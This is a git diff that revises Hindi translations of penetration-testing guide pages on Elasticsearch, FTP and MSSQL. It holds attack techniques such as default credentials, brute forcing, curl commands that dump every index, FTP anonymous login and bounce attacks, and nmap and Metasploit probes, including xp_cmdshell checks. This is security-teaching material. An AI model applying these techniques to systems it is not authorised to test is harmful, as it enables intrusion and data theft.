[https://pen-testing.sans.org/resources/papers/gcih/attack-defend-linux-privilege-escalation-techniques-2016-152744](https://pen-testing.sans.org/resources/papers/gcih/attack-defend-linux-privilege-escalation-techniques-2016-152744) +- [http://0x90909090.blogspot.com/2015/07/no-one-expect-command-execution.html](http://0x90909090.blogspot.com/2015/07/no-one-expect-command-execution.html) +- [https://touhidshaikh.com/blog/?p=827](https://touhidshaikh.com/blog/?p=827) +- [https://github.com/sagishahar/lpeworkshop/blob/master/Lab%20Exercises%20Walkthrough%20-%20Linux.pdf](https://github.com/sagishahar/lpeworkshop/blob/master/Lab%20Exercises%20Walkthrough%20-%20Linux.pdf) +- [https://github.com/frizb/Linux-Privilege-Escalation](https://github.com/frizb/Linux-Privilege-Escalation) +- [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) - [https://github.com/rtcrowley/linux-private-i](https://github.com/rtcrowley/linux-private-i) - [https://www.linux.com/news/what-socket/](https://www.linux.com/news/what-socket/) - [https://muzec0318.github.io/posts/PG/peppo.html](https://muzec0318.github.io/posts/PG/peppo.html) diff --git a/src/network-services-pentesting/9200-pentesting-elasticsearch.md b/src/network-services-pentesting/9200-pentesting-elasticsearch.md index 6ce82472f..2451abfb5 100644 --- a/src/network-services-pentesting/9200-pentesting-elasticsearch.md +++ b/src/network-services-pentesting/9200-pentesting-elasticsearch.md @@ -4,17 +4,17 @@ ## Basic information -Elasticsearch एक **वितरित**, **ओपन सोर्स** खोज और विश्लेषण इंजन है जो **सभी प्रकार के डेटा** के लिए है। यह अपनी **गति**, **स्केलेबिलिटी**, और **सरल REST APIs** के लिए जाना जाता है। Apache Lucene पर आधारित, इसे 2010 में Elasticsearch N.V. (अब Elastic के नाम से जाना जाता है) द्वारा पहली बार जारी किया गया था। Elasticsearch Elastic Stack का मुख्य घटक है, जो डेटा इनजेशन, समृद्धि, भंडारण, विश्लेषण, और दृश्यता के लिए ओपन सोर्स टूल्स का एक संग्रह है। इस स्टैक को सामान्यतः ELK Stack कहा जाता है, जिसमें Logstash और Kibana भी शामिल हैं, और अब इसमें हल्के डेटा शिपिंग एजेंट्स होते हैं जिन्हें Beats कहा जाता है। +Elasticsearch एक **distributed**, **open source** खोज और विश्लेषण इंजन है जो **सभी प्रकार के डेटा** के लिए है। यह अपनी **गति**, **स्केलेबिलिटी**, और **सरल REST APIs** के लिए जाना जाता है। Apache Lucene पर आधारित, इसे 2010 में Elasticsearch N.V. (अब Elastic के रूप में जाना जाता है) द्वारा पहली बार जारी किया गया था। Elasticsearch Elastic Stack का मुख्य घटक है, जो डेटा इनजेशन, समृद्धि, भंडारण, विश्लेषण, और दृश्यता के लिए ओपन सोर्स टूल्स का एक संग्रह है। इस स्टैक को सामान्यतः ELK Stack के रूप में जाना जाता है, जिसमें Logstash और Kibana भी शामिल हैं, और अब इसमें हल्के डेटा शिपिंग एजेंट्स होते हैं जिन्हें Beats कहा जाता है। ### What is an Elasticsearch index? -एक Elasticsearch **index** **संबंधित दस्तावेजों** का एक संग्रह है जो **JSON** के रूप में संग्रहीत होते हैं। प्रत्येक दस्तावेज में **कुंजी** और उनके संबंधित **मान** (स्ट्रिंग, नंबर, बूलियन, तिथियाँ, एरे, भू-स्थान, आदि) होते हैं। +Elasticsearch का **index** **संबंधित दस्तावेजों** का एक संग्रह है जो **JSON** के रूप में संग्रहीत होते हैं। प्रत्येक दस्तावेज में **keys** और उनके संबंधित **values** (strings, numbers, booleans, dates, arrays, geolocations, आदि) होते हैं। -Elasticsearch तेज पूर्ण-पाठ खोजों को सुविधाजनक बनाने के लिए एक कुशल डेटा संरचना का उपयोग करता है जिसे **inverted index** कहा जाता है। यह इंडेक्स दस्तावेजों में हर अद्वितीय शब्द को सूचीबद्ध करता है और उन दस्तावेजों की पहचान करता है जिनमें प्रत्येक शब्द प्रकट होता है। +Elasticsearch तेज पूर्ण-पाठ खोजों को सुविधाजनक बनाने के लिए एक कुशल डेटा संरचना का उपयोग करता है जिसे **inverted index** कहा जाता है। यह इंडेक्स दस्तावेजों में प्रत्येक अद्वितीय शब्द को सूचीबद्ध करता है और उन दस्तावेजों की पहचान करता है जिनमें प्रत्येक शब्द प्रकट होता है। -इंडेक्सिंग प्रक्रिया के दौरान, Elasticsearch दस्तावेजों को संग्रहीत करता है और inverted index का निर्माण करता है, जिससे लगभग वास्तविक समय में खोजने की अनुमति मिलती है। **index API** का उपयोग एक विशिष्ट इंडेक्स के भीतर JSON दस्तावेजों को जोड़ने या अपडेट करने के लिए किया जाता है। +इंडेक्सिंग प्रक्रिया के दौरान, Elasticsearch दस्तावेजों को संग्रहीत करता है और उल्टे इंडेक्स का निर्माण करता है, जिससे लगभग वास्तविक समय में खोज करना संभव होता है। **index API** का उपयोग एक विशिष्ट इंडेक्स के भीतर JSON दस्तावेजों को जोड़ने या अपडेट करने के लिए किया जाता है। -**डिफ़ॉल्ट पोर्ट**: 9200/tcp +**Default port**: 9200/tcp ## Manual Enumeration @@ -28,19 +28,19 @@ Elasticsearch तक पहुँचने के लिए उपयोग क ### Authentication -**डिफ़ॉल्ट रूप से Elasticsearch में प्रमाणीकरण सक्षम नहीं है**, इसलिए डिफ़ॉल्ट रूप से आप किसी भी क्रेडेंशियल का उपयोग किए बिना डेटाबेस के अंदर सब कुछ एक्सेस कर सकते हैं। +**डिफ़ॉल्ट रूप से Elasticsearch में प्रमाणीकरण सक्षम नहीं है**, इसलिए डिफ़ॉल्ट रूप से आप बिना किसी क्रेडेंशियल का उपयोग किए डेटाबेस के अंदर सब कुछ एक्सेस कर सकते हैं। आप एक अनुरोध के साथ सत्यापित कर सकते हैं कि प्रमाणीकरण अक्षम है: ```bash curl -X GET "ELASTICSEARCH-SERVER:9200/_xpack/security/user" {"error":{"root_cause":[{"type":"exception","reason":"Security must be explicitly enabled when using a [basic] license. Enable security by setting [xpack.security.enabled] to [true] in the elasticsearch.yml file and restart the node."}],"type":"exception","reason":"Security must be explicitly enabled when using a [basic] license. Enable security by setting [xpack.security.enabled] to [true] in the elasticsearch.yml file and restart the node."},"status":500} ``` -**हालांकि**, यदि आप `/` पर एक अनुरोध भेजते हैं और निम्नलिखित जैसे एक प्रतिक्रिया प्राप्त करते हैं: +**हालांकि**, यदि आप `/` पर एक अनुरोध भेजते हैं और निम्नलिखित प्रतिक्रिया प्राप्त करते हैं: ```bash {"error":{"root_cause":[{"type":"security_exception","reason":"missing authentication credentials for REST request [/]","header":{"WWW-Authenticate":"Basic realm=\"security\" charset=\"UTF-8\""}}],"type":"security_exception","reason":"missing authentication credentials for REST request [/]","header":{"WWW-Authenticate":"Basic realm=\"security\" charset=\"UTF-8\""}},"status":401} ``` -इसका मतलब है कि प्रमाणीकरण कॉन्फ़िगर किया गया है और **आपको कोई जानकारी प्राप्त करने के लिए मान्य क्रेडेंशियल्स की आवश्यकता है** elasticsearch से। फिर, आप [**इसे ब्रूटफोर्स करने की कोशिश कर सकते हैं**](../generic-hacking/brute-force.md#elasticsearch) (यह HTTP बेसिक ऑथ का उपयोग करता है, इसलिए BF HTTP बेसिक ऑथ का उपयोग किया जा सकता है)।\ -यहाँ आपके पास **डिफ़ॉल्ट उपयोगकर्ता नामों की सूची** है: _**elastic** (सुपरयूजर), remote_monitoring_user, beats_system, logstash_system, kibana, kibana_system, apm_system,_ \_anonymous\_.\_ Elasticsearch के पुराने संस्करणों के लिए इस उपयोगकर्ता के लिए डिफ़ॉल्ट पासवर्ड **changeme** है। +यह मतलब है कि प्रमाणीकरण कॉन्फ़िगर किया गया है और **आपको कोई जानकारी प्राप्त करने के लिए मान्य क्रेडेंशियल्स** की आवश्यकता है। फिर, आप [**इसे ब्रूटफोर्स करने की कोशिश कर सकते हैं**](../generic-hacking/brute-force.md#elasticsearch) (यह HTTP बेसिक ऑथ का उपयोग करता है, इसलिए BF HTTP बेसिक ऑथ का उपयोग किया जा सकता है)।\ +यहाँ आपके पास **डिफ़ॉल्ट उपयोगकर्ता नामों की सूची** है: _**elastic** (सुपरयूजर), remote_monitoring_user, beats_system, logstash_system, kibana, kibana_system, apm_system,_ \_anonymous\_.\_ Elasticsearch के पुराने संस्करणों के लिए इस उपयोगकर्ता का डिफ़ॉल्ट पासवर्ड **changeme** है। ``` curl -X GET http://user:password@IP:9200/ ``` @@ -57,7 +57,7 @@ curl -X GET "ELASTICSEARCH-SERVER:9200/_security/user/" ``` ### Elastic Info -यहाँ कुछ endpoints हैं जिन्हें आप **GET के माध्यम से** **जानकारी** प्राप्त करने के लिए **एक्सेस** कर सकते हैं elasticsearch के बारे में: +यहाँ कुछ endpoints हैं जिन्हें आप **GET के माध्यम से** **जानकारी प्राप्त करने** के लिए **एक्सेस** कर सकते हैं elasticsearch के बारे में: | \_cat | /\_cluster | /\_security | | ------------------------------ | ----------------------------- | ------------------------ | @@ -87,13 +87,13 @@ curl -X GET "ELASTICSEARCH-SERVER:9200/_security/user/" | /\_cat/nodes | | | ये endpoints [**दस्तावेज़ीकरण से लिए गए हैं**](https://www.elastic.co/guide/en/elasticsearch/reference/current/rest-apis.html) जहाँ आप **और अधिक** पा सकते हैं।\ -इसके अलावा, यदि आप `/_cat` एक्सेस करते हैं तो प्रतिक्रिया में `/_cat/*` endpoints शामिल होंगे जो इंस्टेंस द्वारा समर्थित हैं। +इसके अलावा, यदि आप `/_cat` को एक्सेस करते हैं तो प्रतिक्रिया में `/_cat/*` endpoints शामिल होंगे जो इंस्टेंस द्वारा समर्थित हैं। -`/_security/user` में (यदि प्रमाणीकरण सक्षम है) आप देख सकते हैं कि कौन सा उपयोगकर्ता `superuser` भूमिका रखता है। +`/_security/user` में (यदि auth सक्षम है) आप देख सकते हैं कि कौन सा उपयोगकर्ता `superuser` भूमिका रखता है। ### Indices -आप सभी इंडिसेस को **एक्सेस करके इकट्ठा कर सकते हैं** `http://10.10.10.115:9200/_cat/indices?v` +आप सभी इंडेक्स को **एक्सेस करके इकट्ठा कर सकते हैं** `http://10.10.10.115:9200/_cat/indices?v` ``` health status index uuid pri rep docs.count docs.deleted store.size pri.store.size green open .kibana 6tjAYZrgQ5CwwR0g6VOoRg 1 0 1 0 4kb 4kb @@ -110,15 +110,15 @@ yellow open bank eSVpNfCfREyYoVigNWcrMw 5 1 1000 0 ![](<../images/image (914).png>) -_एक पल के लिए बैंक इंडेक्स के प्रत्येक दस्तावेज़ (एंट्री) की सामग्री की तुलना करें और इस इंडेक्स के फ़ील्ड जो हमने पिछले अनुभाग में देखे थे।_ +_एक पल लें और बैंक इंडेक्स के प्रत्येक दस्तावेज़ (एंट्री) की सामग्री की तुलना करें और इस इंडेक्स के फ़ील्ड जो हमने पिछले अनुभाग में देखे थे।_ -तो, इस बिंदु पर आप देख सकते हैं कि **"हिट्स" के अंदर "कुल" नाम का एक फ़ील्ड है** जो यह संकेत करता है कि **इस इंडेक्स के अंदर 1000 दस्तावेज़ पाए गए** लेकिन केवल 10 को पुनः प्राप्त किया गया। इसका कारण यह है कि **डिफ़ॉल्ट रूप से 10 दस्तावेज़ों की सीमा है।**\ +तो, इस बिंदु पर आप देख सकते हैं कि **"hits" के अंदर "total" नाम का एक फ़ील्ड है** जो यह दर्शाता है कि **इस इंडेक्स के अंदर 1000 दस्तावेज़ पाए गए** लेकिन केवल 10 को पुनः प्राप्त किया गया। इसका कारण यह है कि **डिफ़ॉल्ट रूप से 10 दस्तावेज़ों की सीमा है।**\ लेकिन, अब जब आप जानते हैं कि **इस इंडेक्स में 1000 दस्तावेज़ हैं**, आप **उनमें से सभी को डंप कर सकते हैं** यह बताते हुए कि आप कितनी एंट्रीज़ को डंप करना चाहते हैं **`size`** पैरामीटर में: `http://10.10.10.115:9200/quotes/_search?pretty=true&size=1000`asd\ -\&#xNAN;_नोट: यदि आप बड़ा नंबर बताते हैं तो सभी एंट्रीज़ वैसे भी डंप हो जाएंगी, उदाहरण के लिए आप `size=9999` बता सकते हैं और यह अजीब होगा यदि अधिक एंट्रीज़ हों (लेकिन आपको जांचना चाहिए)।_ +\_नोट: यदि आप बड़ा नंबर बताते हैं तो सभी एंट्रीज़ वैसे भी डंप हो जाएंगी, उदाहरण के लिए आप `size=9999` बता सकते हैं और यह अजीब होगा यदि अधिक एंट्रीज़ हों (लेकिन आपको जांचना चाहिए)।_ ### सभी डंप करें -सभी को डंप करने के लिए आप बस **पहले की तरह उसी पथ पर जा सकते हैं लेकिन बिना किसी इंडेक्स को बताए** `http://host:9200/_search?pretty=true` जैसे `http://10.10.10.115:9200/_search?pretty=true`\ +सभी को डंप करने के लिए आप बस **पहले की तरह उसी पथ पर जा सकते हैं लेकिन किसी इंडेक्स को इंगित किए बिना** `http://host:9200/_search?pretty=true` जैसे `http://10.10.10.115:9200/_search?pretty=true`\ याद रखें कि इस मामले में **डिफ़ॉल्ट 10** परिणामों की सीमा लागू होगी। आप **बड़ी मात्रा में परिणामों** को डंप करने के लिए `size` पैरामीटर का उपयोग कर सकते हैं। अधिक जानकारी के लिए पिछले अनुभाग को पढ़ें। ### खोजें @@ -129,13 +129,13 @@ _एक पल के लिए बैंक इंडेक्स के प् यदि आप केवल **एक इंडेक्स पर खोज** करना चाहते हैं, तो आप बस **पथ** में इसे **निर्दिष्ट** कर सकते हैं: `http://host:9200//_search?pretty=true&q=` -_ध्यान दें कि सामग्री खोजने के लिए उपयोग किया जाने वाला q पैरामीटर **नियमित अभिव्यक्तियों का समर्थन करता है**_ +_ध्यान दें कि सामग्री को खोजने के लिए उपयोग किया जाने वाला q पैरामीटर **नियमित अभिव्यक्तियों का समर्थन करता है**_ आप एक elasticsearch सेवा को फज़ करने के लिए [https://github.com/misalabs/horuz](https://github.com/misalabs/horuz) जैसी चीज़ का भी उपयोग कर सकते हैं। ### लिखने की अनुमति -आप एक नए इंडेक्स के अंदर एक नया दस्तावेज़ बनाने की कोशिश करके अपनी लिखने की अनुमति की जांच कर सकते हैं, कुछ इस तरह चलाकर: +आप अपनी लिखने की अनुमति की जांच कर सकते हैं, एक नए इंडेक्स के अंदर एक नया दस्तावेज़ बनाने की कोशिश करके, कुछ इस तरह चलाकर: ```bash curl -X POST '10.10.10.115:9200/bookindex/books' -H 'Content-Type: application/json' -d' { diff --git a/src/network-services-pentesting/pentesting-ftp/README.md b/src/network-services-pentesting/pentesting-ftp/README.md index f8a0eefce..781093f3b 100644 --- a/src/network-services-pentesting/pentesting-ftp/README.md +++ b/src/network-services-pentesting/pentesting-ftp/README.md @@ -33,7 +33,7 @@ The **FTP** commands **`debug`** and **`trace`** can be used to see **how is the nc -vn 21 openssl s_client -connect crossfit.htb:21 -starttls ftp #Get certificate if any ``` -### FTP से starttls का उपयोग करके कनेक्ट करें +### STARTTLS का उपयोग करके FTP से कनेक्ट करें ``` lftp lftp :~> set ftp:ssl-force true @@ -88,8 +88,8 @@ STAT ### Anonymous login _anonymous : anonymous_\ -\&#xNAN;_anonymous :_\ -\&#xNAN;_ftp : ftp_ +\_anonymous :_\ +\_ftp : ftp_ ```bash ftp >anonymous @@ -111,7 +111,7 @@ nmap --script ftp-* -p 21 ``` ## Browser connection -आप एक ब्राउज़र (जैसे Firefox) का उपयोग करके एक FTP सर्वर से कनेक्ट कर सकते हैं, एक URL का उपयोग करके जैसे: +आप एक ब्राउज़र (जैसे Firefox) का उपयोग करके एक FTP सर्वर से कनेक्ट कर सकते हैं, एक URL का उपयोग करके: ```bash ftp://anonymous:anonymous@10.10.10.98 ``` @@ -130,9 +130,9 @@ wget -r --user="USERNAME" --password="PASSWORD" ftp://server.com/ - **`USER username`** - **`PASS password`** -- **`HELP`** सर्वर यह संकेत करता है कि कौन से कमांड समर्थित हैं -- **`PORT 127,0,0,1,0,80`** यह FTP सर्वर को IP 127.0.0.1 पर पोर्ट 80 के साथ कनेक्शन स्थापित करने के लिए संकेत देगा (_आपको 5वां चर "0" के रूप में और 6वां पोर्ट को दशमलव में रखना होगा या पोर्ट को हेक्स में व्यक्त करने के लिए 5वां और 6वां उपयोग करना होगा_)। -- **`EPRT |2|127.0.0.1|80|`** यह FTP सर्वर को IP 127.0.0.1 पर पोर्ट 80 के साथ एक TCP कनेक्शन स्थापित करने के लिए संकेत देगा (_"2" द्वारा संकेतित_)। यह कमांड **IPv6 का समर्थन करता है**। +- **`HELP`** सर्वर यह बताता है कि कौन से कमांड समर्थित हैं +- **`PORT 127,0,0,1,0,80`** यह FTP सर्वर को IP 127.0.0.1 पर पोर्ट 80 के साथ कनेक्शन स्थापित करने के लिए संकेत देगा (_आपको 5वां चर "0" और 6वां पोर्ट दशमलव में डालना होगा या पोर्ट को हेक्स में व्यक्त करने के लिए 5वां और 6वां उपयोग करना होगा_)। +- **`EPRT |2|127.0.0.1|80|`** यह FTP सर्वर को IP 127.0.0.1 पर पोर्ट 80 के साथ TCP कनेक्शन स्थापित करने के लिए संकेत देगा (_"2" द्वारा संकेतित_)। यह कमांड **IPv6 का समर्थन करता है**। - **`LIST`** यह वर्तमान फ़ोल्डर में फ़ाइलों की सूची भेजेगा - **`LIST -R`** पुनरावृत्त सूची (यदि सर्वर द्वारा अनुमति दी गई हो) - **`APPE /path/something.txt`** यह FTP को **पैसिव** कनेक्शन या **PORT/EPRT** कनेक्शन से प्राप्त डेटा को एक फ़ाइल में संग्रहीत करने के लिए संकेत देगा। यदि फ़ाइल का नाम मौजूद है, तो यह डेटा को जोड़ देगा। @@ -141,7 +141,7 @@ wget -r --user="USERNAME" --password="PASSWORD" ftp://server.com/ - **`RETR /path/to/file`** एक पैसिव या पोर्ट कनेक्शन स्थापित करना आवश्यक है। फिर, FTP सर्वर उस कनेक्शन के माध्यम से निर्दिष्ट फ़ाइल भेजेगा - **`REST 6`** यह सर्वर को संकेत देगा कि अगली बार जब वह कुछ भेजेगा `RETR` का उपयोग करते हुए, तो उसे 6वें बाइट से शुरू करना चाहिए। - **`TYPE i`** ट्रांसफर को बाइनरी पर सेट करें -- **`PASV`** यह एक पैसिव कनेक्शन खोलेगा और उपयोगकर्ता को संकेत देगा कि वह कहाँ कनेक्ट कर सकता है +- **`PASV`** यह एक पैसिव कनेक्शन खोलेगा और उपयोगकर्ता को बताएगा कि वह कहाँ कनेक्ट कर सकता है - **`PUT /tmp/file.txt`** निर्दिष्ट फ़ाइल को FTP पर अपलोड करें ![](<../../images/image (386).png>) @@ -152,15 +152,15 @@ wget -r --user="USERNAME" --password="PASSWORD" ftp://server.com/ [**यहाँ जानें कि FTP सर्वर का दुरुपयोग करके पोर्ट कैसे स्कैन करें।**](ftp-bounce-attack.md) -आप इस व्यवहार का दुरुपयोग करके एक FTP सर्वर को अन्य प्रोटोकॉल के साथ इंटरैक्ट करवा सकते हैं। आप **HTTP अनुरोध** वाला एक फ़ाइल अपलोड कर सकते हैं और कमजोर FTP सर्वर को **इसे किसी मनमाने HTTP सर्वर** पर **भेजने** के लिए मजबूर कर सकते हैं (_शायद एक नया व्यवस्थापक उपयोगकर्ता जोड़ने के लिए?_) या यहां तक कि एक FTP अनुरोध अपलोड कर सकते हैं और कमजोर FTP सर्वर को किसी अन्य FTP सर्वर के लिए एक फ़ाइल डाउनलोड करने के लिए मजबूर कर सकते हैं।\ +आप इस व्यवहार का दुरुपयोग करके FTP सर्वर को अन्य प्रोटोकॉल के साथ इंटरैक्ट करवा सकते हैं। आप **HTTP अनुरोध** वाला एक फ़ाइल अपलोड कर सकते हैं और कमजोर FTP सर्वर को **इसे किसी मनमाने HTTP सर्वर पर भेजने** के लिए मजबूर कर सकते हैं (_शायद एक नया व्यवस्थापक उपयोगकर्ता जोड़ने के लिए?_) या यहां तक कि एक FTP अनुरोध अपलोड कर सकते हैं और कमजोर FTP सर्वर को किसी अन्य FTP सर्वर के लिए फ़ाइल डाउनलोड करने के लिए मजबूर कर सकते हैं।\ सिद्धांत आसान है: 1. **कमजोर सर्वर पर अनुरोध (एक टेक्स्ट फ़ाइल के अंदर) अपलोड करें।** याद रखें कि यदि आप किसी अन्य HTTP या FTP सर्वर से बात करना चाहते हैं तो आपको `0x0d 0x0a` के साथ पंक्तियों को बदलना होगा -2. **`REST X` का उपयोग करें ताकि आप उन वर्णों को भेजने से बच सकें जिन्हें आप नहीं भेजना चाहते** (शायद फ़ाइल के अंदर अनुरोध अपलोड करने के लिए आपको शुरुआत में कुछ इमेज हेडर डालना पड़ा) +2. **`REST X` का उपयोग करें ताकि आप उन वर्णों को न भेजें जिन्हें आप नहीं भेजना चाहते** (शायद फ़ाइल के अंदर अनुरोध अपलोड करने के लिए आपको शुरुआत में कुछ इमेज हेडर डालना पड़ा) 3. **मनमाने सर्वर और सेवा से कनेक्ट करने के लिए `PORT` का उपयोग करें** -4. **सर्वर को भेजने के लिए `RETR` का उपयोग करें।** +4. **सर्वर को सहेजे गए अनुरोध को भेजने के लिए `RETR` का उपयोग करें।** -यह अत्यधिक संभावना है कि यह **एक त्रुटि फेंकेगा जैसे** _**Socket not writable**_ **क्योंकि कनेक्शन डेटा भेजने के लिए पर्याप्त समय तक नहीं रहता `RETR` के साथ**। इसे टालने के लिए सुझाव हैं: +यह अत्यधिक संभावना है कि यह **एक त्रुटि फेंकेगा जैसे** _**Socket not writable**_ **क्योंकि कनेक्शन डेटा भेजने के लिए `RETR` के साथ पर्याप्त समय तक नहीं रहता**। इसे टालने के लिए सुझाव हैं: - यदि आप एक HTTP अनुरोध भेज रहे हैं, तो **एक के बाद एक वही अनुरोध डालें** जब तक कि **\~0.5MB** कम से कम न हो। इस तरह: @@ -171,7 +171,7 @@ posts.txt - प्रयास करें कि **प्रोटोकॉल के सापेक्ष "जंक" डेटा से अनुरोध को भरें** (FTP से बात करते समय शायद केवल जंक कमांड या फ़ाइल प्राप्त करने के लिए `RETR` निर्देश को दोहराना) - बस **अनुरोध को बहुत सारे शून्य वर्णों या अन्य से भरें** (पंक्तियों में विभाजित या नहीं) -किसी भी तरह, यहाँ आपके पास एक [पुराना उदाहरण है कि कैसे इसका दुरुपयोग करके एक FTP सर्वर को किसी अन्य FTP सर्वर से फ़ाइल डाउनलोड करने के लिए मजबूर करें।](ftp-bounce-download-2oftp-file.md) +किसी भी तरह, यहाँ आपके पास एक [पुराना उदाहरण है कि कैसे इसका दुरुपयोग करके FTP सर्वर को किसी अन्य FTP सर्वर से फ़ाइल डाउनलोड करने के लिए मजबूर किया जाए।](ftp-bounce-download-2oftp-file.md) ## Filezilla सर्वर भेद्यता @@ -191,11 +191,11 @@ vsFTPd की डिफ़ॉल्ट कॉन्फ़िगरेशन `/et - `anonymous_enable=YES` - `anon_upload_enable=YES` - `anon_mkdir_write_enable=YES` -- `anon_root=/home/username/ftp` - अनाम के लिए निर्देशिका। -- `chown_uploads=YES` - अनाम रूप से अपलोड की गई फ़ाइलों के स्वामित्व को बदलें -- `chown_username=username` - उपयोगकर्ता जिसे अनाम रूप से अपलोड की गई फ़ाइलों का स्वामित्व दिया गया है +- `anon_root=/home/username/ftp` - गुमनाम के लिए निर्देशिका। +- `chown_uploads=YES` - गुमनाम रूप से अपलोड की गई फ़ाइलों के स्वामित्व को बदलें +- `chown_username=username` - गुमनाम रूप से अपलोड की गई फ़ाइलों का स्वामित्व प्राप्त करने वाला उपयोगकर्ता - `local_enable=YES` - स्थानीय उपयोगकर्ताओं को लॉगिन करने की अनुमति दें -- `no_anon_password=YES` - अनाम से पासवर्ड नहीं पूछें +- `no_anon_password=YES` - गुमनाम से पासवर्ड नहीं पूछें - `write_enable=YES` - कमांड की अनुमति दें: STOR, DELE, RNFR, RNTO, MKD, RMD, APPE, और SITE ### Shodan diff --git a/src/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md b/src/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md index 08cc622a1..6895a0c5f 100644 --- a/src/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md +++ b/src/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md @@ -6,7 +6,7 @@ From [wikipedia](https://en.wikipedia.org/wiki/Microsoft_SQL_Server): -> **Microsoft SQL Server** एक **संबंधित डेटाबेस** प्रबंधन प्रणाली है जिसे Microsoft द्वारा विकसित किया गया है। एक डेटाबेस सर्वर के रूप में, यह एक सॉफ़्टवेयर उत्पाद है जिसका मुख्य कार्य डेटा को संग्रहीत करना और पुनः प्राप्त करना है जैसा कि अन्य सॉफ़्टवेयर अनुप्रयोगों द्वारा अनुरोध किया गया है—जो या तो उसी कंप्यूटर पर चल सकते हैं या नेटवर्क (जिसमें इंटरनेट शामिल है) पर किसी अन्य कंप्यूटर पर।\\ +> **Microsoft SQL Server** एक **रिलेशनल डेटाबेस** प्रबंधन प्रणाली है जिसे Microsoft द्वारा विकसित किया गया है। एक डेटाबेस सर्वर के रूप में, यह एक सॉफ़्टवेयर उत्पाद है जिसका प्राथमिक कार्य डेटा को संग्रहीत करना और पुनः प्राप्त करना है जैसा कि अन्य सॉफ़्टवेयर अनुप्रयोगों द्वारा अनुरोध किया गया है—जो या तो उसी कंप्यूटर पर चल सकते हैं या नेटवर्क (जिसमें इंटरनेट शामिल है) पर किसी अन्य कंप्यूटर पर। **डिफ़ॉल्ट पोर्ट:** 1433 ``` @@ -16,7 +16,7 @@ From [wikipedia](https://en.wikipedia.org/wiki/Microsoft_SQL_Server): - **master Database**: यह डेटाबेस महत्वपूर्ण है क्योंकि यह SQL Server उदाहरण के लिए सभी सिस्टम-स्तरीय विवरण कैप्चर करता है। - **msdb Database**: SQL Server एजेंट इस डेटाबेस का उपयोग अलर्ट और नौकरियों के लिए शेड्यूलिंग प्रबंधित करने के लिए करता है। -- **model Database**: SQL Server उदाहरण पर हर नए डेटाबेस के लिए एक ब्लूप्रिंट के रूप में कार्य करता है, जहां आकार, कोलेशन, रिकवरी मॉडल, और अधिक जैसे किसी भी परिवर्तन को नए बनाए गए डेटाबेस में दर्शाया जाता है। +- **model Database**: SQL Server उदाहरण पर हर नए डेटाबेस के लिए एक ब्लूप्रिंट के रूप में कार्य करता है, जहाँ आकार, कोलेशन, रिकवरी मॉडल, और अधिक जैसे किसी भी परिवर्तन को नए बनाए गए डेटाबेस में दर्शाया जाता है। - **Resource Database**: एक केवल-पढ़ने वाला डेटाबेस है जो SQL Server के साथ आने वाले सिस्टम ऑब्जेक्ट्स को रखता है। ये ऑब्जेक्ट्स, जबकि भौतिक रूप से Resource डेटाबेस में संग्रहीत होते हैं, हर डेटाबेस के sys स्कीमा में तार्किक रूप से प्रस्तुत होते हैं। - **tempdb Database**: अस्थायी ऑब्जेक्ट्स या मध्यवर्ती परिणाम सेट के लिए एक अस्थायी संग्रहण क्षेत्र के रूप में कार्य करता है। @@ -30,9 +30,9 @@ nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config msf> use auxiliary/scanner/mssql/mssql_ping ``` > [!NOTE] -> यदि आपके पास **प्रमाण पत्र** **नहीं हैं** तो आप उन्हें अनुमान लगाने की कोशिश कर सकते हैं। आप nmap या metasploit का उपयोग कर सकते हैं। सावधान रहें, यदि आप एक मौजूदा उपयोगकर्ता नाम का उपयोग करके कई बार लॉगिन करने में असफल होते हैं तो आप **खातों को ब्लॉक** कर सकते हैं। +> यदि आपके पास **क्रेडेंशियल्स** **नहीं हैं** तो आप उन्हें अनुमान लगाने की कोशिश कर सकते हैं। आप nmap या metasploit का उपयोग कर सकते हैं। सावधान रहें, यदि आप एक मौजूदा उपयोगकर्ता नाम का उपयोग करके कई बार लॉगिन करने में असफल होते हैं तो आप **खातों को ब्लॉक** कर सकते हैं। -#### Metasploit (creds की आवश्यकता) +#### Metasploit (क्रेड्स की आवश्यकता) ```bash #Set USERNAME, RHOSTS and PASSWORD #Set DOMAIN and USE_WINDOWS_AUTHENT if domain is used @@ -102,7 +102,7 @@ sqsh -S -U .\\ -P -D 1> select 1; 2> go ``` -#### सामान्य एन्यूमरेशन +#### सामान्य सूचीकरण ```sql # Get version select @@version; @@ -156,13 +156,13 @@ SELECT * FROM sysusers #### अनुमतियाँ प्राप्त करें 1. **Securable:** SQL Server द्वारा पहुँच नियंत्रण के लिए प्रबंधित संसाधनों के रूप में परिभाषित। इन्हें निम्नलिखित श्रेणियों में वर्गीकृत किया गया है: -- **सर्वर** – उदाहरणों में डेटाबेस, लॉगिन, एंडपॉइंट, उपलब्धता समूह, और सर्वर भूमिकाएँ शामिल हैं। -- **डेटाबेस** – उदाहरणों में डेटाबेस भूमिका, एप्लिकेशन भूमिकाएँ, स्कीमा, प्रमाणपत्र, पूर्ण पाठ कैटलॉग, और उपयोगकर्ता शामिल हैं। -- **स्कीमा** – इसमें तालिकाएँ, दृश्य, प्रक्रियाएँ, कार्य, पर्यायवाची, आदि शामिल हैं। -2. **अनुमति:** SQL Server securables से संबंधित, ALTER, CONTROL, और CREATE जैसी अनुमतियाँ एक प्रमुख को दी जा सकती हैं। अनुमतियों का प्रबंधन दो स्तरों पर होता है: -- **सर्वर स्तर** लॉगिन का उपयोग करके -- **डेटाबेस स्तर** उपयोगकर्ताओं का उपयोग करके -3. **प्रमुख:** यह शब्द उस इकाई को संदर्भित करता है जिसे एक securable पर अनुमति दी जाती है। प्रमुख मुख्य रूप से लॉगिन और डेटाबेस उपयोगकर्ताओं को शामिल करते हैं। Securables तक पहुँच पर नियंत्रण अनुमतियों को देने या अस्वीकार करने या लॉगिन और उपयोगकर्ताओं को पहुँच अधिकारों से सुसज्जित भूमिकाओं में शामिल करके किया जाता है। +- **Server** – उदाहरणों में डेटाबेस, लॉगिन, एंडपॉइंट, उपलब्धता समूह, और सर्वर भूमिकाएँ शामिल हैं। +- **Database** – उदाहरणों में डेटाबेस भूमिका, अनुप्रयोग भूमिकाएँ, स्कीमा, प्रमाणपत्र, पूर्ण पाठ कैटलॉग, और उपयोगकर्ता शामिल हैं। +- **Schema** – इसमें 